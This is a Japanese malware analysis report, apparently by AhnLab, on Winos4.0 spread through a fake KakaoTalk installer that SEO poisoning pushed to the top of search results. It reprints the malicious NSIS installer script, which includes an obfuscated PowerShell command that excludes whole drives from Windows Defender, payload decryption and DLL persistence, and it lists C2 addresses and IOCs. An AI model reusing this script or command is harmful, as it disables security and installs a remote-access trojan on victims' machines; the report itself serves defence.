KakaoTalk インストールファイルに偽装した Winos4.0 マルウェア

拡散手法 – SEO ポイズニング

一般的に、人々は Google の検索結果の最上位に表示されるサイトを「最も信頼できる公式サイト」として認識する。しかし攻撃者たちは、こうしたユーザーの心理を巧みに突いて、検索エンジンのアルゴリズムを操作し、悪性サイトを最上位に配置している。

SEO ポイズニングとは、攻撃者が検索エンジン最適化 (SEO) の技術を悪用し、自身が管理する悪性 Web サイトを特定キーワードの検索結果上位 (主に1ページ目の1~3位) に表示させる攻撃手法である。ユーザーが正規ソフトウェアのダウンロードや情報検索を行う際に精巧に作られた偽サイトへ誘導し、マルウェアの拡散や情報の窃取をすることが目的である。

AhnLab Security Intelligence Center (ASEC) は最近、このような SEO ポイズニング手法を利用して偽の KakaoTalk インストールファイルが拡散され、5,000 台以上の PC が感染したことを確認した。このファイルは表面上は KakaoTalk のインストーラーのように見えるが、内部でマルウェアを実行してシステムに常駐し続ける。

下記の [図 1] は、偽の KakaoTalk インストールファイルが Google で「KakaoTalk PC 版」を検索した際に最上位に表示されている様子を示している。公式の KakaoTalk ダウンロードページではなく、攻撃者が Kakao のキャラクターとロゴを使用して類似した外観に作り上げた偽サイトである。当該偽サイトは、検索エンジンのアルゴリズムを欺いて特定キーワード検索時に最上位に表示されるよう、悪性ページのランキングを強制的に引き上げる SEO ポイズニング手法を使用したものと見られる。

[図 1] 検索エンジン上位に表示される偽 KakaoTalk サイト (Bing および Google)

偽の KakaoTalk を拡散しているサイトは以下のとおりであり、

  • hxxps://pc-kakaocorp[.]com

当該サイトを経由してリダイレクトされ、最終的にマルウェアがダウンロードされる URL は以下のとおりである。

  • hxxps://download.i96l6[.]top/KakaoTalk_Setup_patched.rar
  • hxxps://xinjiapox.oss-ap-southeast-1.aliyuncs[.]com/KakaoTa2258.zip

自社インフラによる確認の結果、上記のような方法で拡散された偽の KakaoTalk インストールファイルは、3月9日から拡散が開始されたことが確認されている。

[図 2] 偽 KakaoTalk インストールファイルの推移 (~3/14)

 

マルウェア分析

偽サイトからインストールファイルをダウンロードした場合、以下のように KakaoTalk のアイコンを持つマルウェアがダウンロードされる。Kakao 社が正式に配布する証明書ではなく、中国の「NetEase」という名義を持つ無効な証明書で署名されている。

[図 3] 無効なデジタル署名情報

当該 NSIS インストールファイルは、正規の NSIS 構成ファイルとともに多数の暗号化されたデータを含んでおり、実行過程でこれを復号して Verifier.exe、AutoRecoverDat.dll などの悪性構成要素を生成・実行する。また、Windows Defender の除外パスを追加してセキュリティ機能を弱体化させ、DLL 登録によって持続性を確保する動作を行う。さらに正規の KakaoTalk_Setup.exe を同時に生成・配置することで、正規インストールファイルに偽装するという特徴を持つ。

; Defender 除外 (無効化)

StrCpy $0 “cmd.exe /C powe$\”$\”r$\”$\”s$\”$\”h$\”$\”ell.exe -Ex$\”$\”ec$\”$\”uti$\”$\”o$\”$\”nPol$\”$\”ic$\”$\”y By$\”$\”pa$\”$\”s$\”$\”s -C$\”$\”om$\”$\”ma$\”$\”n$\”$\”d Ad$\”$\”d$\”$\”-M$\”$\”pPr$\”$\”ef$\”$\”ere$\”$\”nce -Ex$\”$\”cl$\”$\”usion$\”$\”Path C:\, D:\,E:\,F:\”

nsExec::Exec $0

 

; 暗号化ペイロードの復号およびドロップ

StrCpy $R0 $TEMP\temp_k.txt

StrCpy $R1 $TEMP\lic.dat

DcryptDll::Decrypt FFF $R0 $R1 $LOCALAPPDATA\Verifier.exe

 

StrCpy $R2 $TEMP\Profilerjson

DcryptDll::Decrypt FFF $R0 $R2 $LOCALAPPDATA\Profiler.json

 

StrCpy $R3 $TEMP\GPUCachexml

DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\GPUCache.xml

 

StrCpy $R5 $TEMP\GPUCache2xml

DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\GPUCache2.xml

 

DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\Embarcadero\GPUCache.xml

DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\Embarcadero\GPUCache2.xml

 

StrCpy $R4 $TEMP\Auto.dat

DcryptDll::Decrypt FFF $R0 $R4 $APPDATA\Embarcadero\AutoRecoverDat.dll

 

; 悪性 DLL 登録 (持続性)

StrCpy $8 “cmd.exe /C   $\”start  rundll32.exe $APPDATA\Embarcadero\AutoRecoverDat.dll,DllRegisterServer$\””

nsExec::Exec $8

 

; メインペイロードの実行

Exec $LOCALAPPDATA\Verifier.exe

Sleep 25000

 

; 正規 KakaoTalk インストールファイルの生成およびショートカット

StrCpy $R9 $INSTDIR\DIR

DcryptDll::Decrypt FFF $R0 $R9 $INSTDIR\KakaoTalk_Setup.exe

CreateShortCut $DESKTOP\KakaoTalk_Setup.lnk $INSTDIR\KakaoTalk_Setup.exe

 

; 難読化された追加ファイルの組み込み

File eqinpqabpwm

File omyivwqtlzwtnl

File xkaljrsp

File ziucakk

 

; レジストリへのタグ付け

WriteRegStr HKCU MicrosoftUser Source kakao

最初のインストールファイル以降、悪性機能を実行する動作は2つのファイルに分かれる。大きくは、Verifier.exe を通じてロードされる ShellCode (Profiler.json) ファイルと、rundll32.exe を通じて実行された AutoRecoverData.dll がロードする ShellCode (GPUCache.xml) ファイルによって実行フローが区別される。

マルウェアが使用する主要なファイル間の関係は以下の表のとおりである。

ファイル名 役割
Verrifier.exe 正規ソフトウェアにパッチを当て ShellCode (Profiler.json) をロード
Profiler.json ShellCode (Reflective DLL Loader、sRDI オープンソース)
GPUCache.xml Winos4.0 マルウェア
GPUCache2.xml Winos4.0 マルウェア
AutoRecoverDat.dll ShellCode (GPUCache.xml) をロードする Loader

Verifier.exe と AutoRecoverDat.dll は実行される方式に違いがあるものの、最終的にはいずれも GPUCache.xml または GPUCache2.xml (Winos4.0 マルウェア) をロードする。

CreateMutexA API を通じてハードコードされた名前 77825d8f-46d1-42d0-b298-83068bf9e31d のミューテックスを生成した後、以下の2つの条件によってロードされる ShellCode が異なる。

  • 条件1:同名のミューテックスの存在有無
  • 条件2:%APPDATA%\Embarcadero パス上の ActivityLog.xml ファイルの存在有無

2つの条件がいずれも満たされる場合は %APPDATA%\Embarcadero\GPUCache2.xml という名前の ShellCode をロードし、2つの条件のうち1つでも満たされない場合は %APPDATA%\Embarcadero\GPUCache.xml という名前の ShellCode をロードする。

[図 4] 条件によってロードする ShellCode ファイルが異なる

どの ShellCode をロードするかによって C2 が変更される点も確認されている。

  • GPUCache.xml

    • C2 : 192.238.129[.]47
    • Port : 18852
  • GpuCache2.xml
    • C2 : 119.28.70[.]225
    • Port : 443

この際ロードされる GPUCache(2).xml ファイルは、0xE8 (OPCODE: CALL) で始まる ShellCode である。暗号化が適用されておらず、コードそのままの状態を保持しており、内部に別の実行ファイル (DLL) を含む形式を持っている。ShellCode が動作すると、当該 DLL ファイルをメモリ上にロードして実行する。

[図 5] ShellCode 内部に存在する PE シグネチャ (MZ)

アンチウイルス製品がインストールされているかどうかを確認するロジックも存在する。攻撃者が確認対象とするアンチウイルス製品が中国で主に使用される 360 および ZhuDongFangYu であることから、本来の意図は中国を対象に拡散するために作られたものと推定される。

[図 6] アンチウイルス製品の動作有無の確認

当該アンチウイルス製品がシステムに存在するかどうかによって、その後の持続性を確保する手法に違いが生じるが、結論としては以下のようにタスクスケジューラが作成される。

  • パス (共通): Microsoft\Windows\AppID
  • Task1: .NET Framework adv v6.0.4232
    • Action: %LocalAppData%Verifier.exe
  • Task2: .NET Framework JDAH v7.7
    • Action: rundll32.exe %AppData%\Embarcadero\AutoRecoverDat.dll, DllRegisterServer

最終的に動作するマルウェアは Winos4.0 であることが確認されている。Winos4.0 マルウェアは、主にスクリーンキャプチャ、ファイル/プロセス制御、システム情報の収集、追加マルウェアのダウンロード、モニタリング/分析環境のバイパス機能を持っている。

特に、C2 通信が成功した場合、C2 から受信したパケットを VirtualAlloc で確保したメモリ空間に格納して実行するロジックが存在する。これは追加のマルウェアを実行できることを意味し、攻撃者が望む形で攻撃の流れを変更できることも意味する。

 

まとめ

見慣れたプログラムであるほど、ユーザーは疑わずに [ダウンロード] ボタンを押す傾向がある。攻撃者はまさにこうした心理的な油断を狙っている。

KakaoTalk のように日常生活に深く浸透しているプログラムを騙ることは、単なるハッキングを超えて社会全体に深刻な被害をもたらしうる。検索結果の最上位に表示されるからといって、必ずしも安全であるとは限らない。インストールファイルをダウンロードする前に、必ず公式ドメインであるかどうかを確認する習慣を身につけなければならない。

巧妙に操作されたファイル1つが、大切な個人情報や資産を一瞬で奪い去ってしまいうることを、決して忘れてはならない。

MD5
0ab84f52d043f7a7af54bd4df0331d64
108849450dd8410bf6217c9a7af82ab3
29152e0473edef5defc6752dabd0c53d
56ad524a33e5bb1ae8fee88d41b33294
8cad997c53fa31274ef0f542535c83b3
 
URL
https[:]//download[.]i96l6[.]top/KakaoTalk_Setup_patched[.]rar
https[:]//pc-kakaocorp[.]com/
https[:]//xinjiapox[.]oss-ap-southeast-1[.]aliyuncs[.]com/KakaoTa2258[.]zip
 
IP
119[.]28[.]70[.]225
192[.]238[.]129[.]47
 

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「AhnLab TIP」 サブスクリプションサービスを通して確認できる。

Categories: Uncategorized